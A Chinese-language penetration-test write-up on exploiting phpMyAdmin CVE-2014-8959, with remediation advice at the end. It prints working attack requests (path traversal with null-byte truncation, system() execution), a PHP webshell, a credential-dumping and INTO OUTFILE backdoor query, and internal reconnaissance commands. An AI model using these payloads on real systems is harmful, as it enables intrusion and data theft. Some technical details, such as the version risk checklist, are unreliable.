渗透测试实战:phpMyAdmin文件包含漏洞的深度利用与防御思考

那次内部渗透测试任务来得突然。客户是一家金融科技公司,他们怀疑内部网络存在安全隐患,但常规扫描工具并未发现明显漏洞。作为红队成员,我们需要模拟真实攻击者的视角,从外网逐步向内网渗透。这次任务中,一个看似普通的phpMyAdmin界面成为了突破口,而CVE-2014-8959这个老漏洞给了我们意外惊喜。

1. 目标识别与漏洞确认

在对外网资产进行常规扫描时,Nmap返回了一个有趣的端口服务:

nmap -sV -p 80,443 192.168.1.0/24

结果显示某台服务器在8080端口运行着Web服务,通过浏览器访问后发现是phpMyAdmin的登录界面。版本识别是关键,我们通过以下几种方式确认版本:

  1. 查看 README 文件
  2. 检查 Documentation.html 中的版本信息
  3. 观察登录页面底部的版权年份

最终确定该系统运行的是受CVE-2014-8959影响的phpMyAdmin版本。这个文件包含漏洞允许攻击者通过精心构造的请求包含服务器上的任意文件,甚至执行PHP代码。

漏洞原理简析

  • 漏洞存在于 gis_data_editor.php 文件中
  • gis_data[gis_type] 参数处理不当
  • 通过双重URL编码可绕过安全检查
  • 利用空字节(%00)截断文件类型检查

2. 漏洞利用过程全记录

2.1 初始访问与认证绕过

虽然我们获得了phpMyAdmin的访问入口,但需要有效的凭据才能进入系统。尝试了以下常见组合:

用户名 密码 结果
root root 失败
admin admin 失败
pma pma 成功

登录后,我们立即开始寻找漏洞利用点。Burp Suite成为了我们的主要工具,它可以帮助我们拦截和修改请求。

2.2 构造恶意请求

关键步骤在于构造包含恶意文件的请求。我们首先需要获取有效的token:

GET /pma/index.php HTTP/1.1
Host: target.com

从响应中提取token后,开始构造利用请求:

GET /pma/gis_data_editor.php?token=提取的token&gis_data[gis_type]=/../../../../1.gif%00 HTTP/1.1
Host: target.com

这里有几个技术要点需要注意:

  1. 路径穿越( /../../../../ )用于定位到Web根目录
  2. 1.gif 是已知存在的包含PHP代码的图片文件
  3. %00 是空字节,用于截断后续检查

2.3 Webshell上传与执行

成功包含文件后,我们通过POST参数执行任意命令:

POST /pma/gis_data_editor.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

a=system("whoami");

服务器响应显示了当前用户权限,确认代码执行成功。接下来,我们上传了更持久的Webshell:

<?php
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'whoami';
system($cmd);
?>

3. 权限提升与横向移动

获得Webshell只是开始,真正的挑战在于如何从Web权限提升到更高级别的系统权限。

3.1 数据库凭证获取

利用phpMyAdmin的特性,我们可以直接操作MySQL数据库。几个关键查询:

-- 获取所有数据库列表
SHOW DATABASES;

-- 查看用户表
SELECT User, Password FROM mysql.user;

-- 导出敏感数据
SELECT * FROM customers INTO OUTFILE '/var/www/html/backdoor.php'

3.2 系统信息收集

通过Webshell执行系统命令收集信息:

# 查看系统版本
uname -a

# 查看网络配置
ifconfig

# 检查当前用户权限
sudo -l

3.3 内网探测与横向移动

有了初步立足点后,我们开始探测内网:

# 扫描内网存活主机
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done

# 检查ARP缓存
arp -a

4. 防御策略与修复建议

经历这次渗透测试后,我们为客户提供了以下安全建议:

4.1 立即缓解措施

  1. 升级phpMyAdmin :立即升级到最新版本
  2. 访问控制
    • 限制phpMyAdmin的访问IP
    • 启用双因素认证
  3. 文件权限
    • 确保Web目录不可写
    • 限制PHP执行权限

4.2 长期安全加固

  • 网络隔离 :数据库管理界面不应暴露在公网
  • 日志监控 :实时监控异常访问模式
  • 定期审计 :进行代码安全审计和渗透测试

4.3 安全配置检查表

检查项 安全配置 风险等级
phpMyAdmin版本 ≥4.4.0 高危
文件权限 755 for目录,644 for文件
PHP设置 disable_functions=exec,system
网络访问 仅限VPN或内网访问

5. 渗透测试中的思考与经验

在这次测试中,最深刻的体会是老漏洞的持久威胁。CVE-2014-8959虽然发布于2014年,但在未及时更新的系统中仍然存在。攻击者往往不需要最新的0day,那些被遗忘的老漏洞反而更容易得手。

几个关键经验值得分享:

  1. 不要忽视版本管理 :每个公开服务都应保持最新版本
  2. 最小权限原则 :Web应用应使用最低必要权限运行
  3. 纵深防御 :单一防护措施不足以保证安全
  4. 监控与响应 :实时监控能大幅缩短攻击检测时间

在最后的汇报中,客户惊讶于我们竟然通过这样一个"古老"的漏洞就获取了数据库控制权。这再次证明,在安全领域,基础知识和对细节的关注往往比掌握最新技术更重要。

更多推荐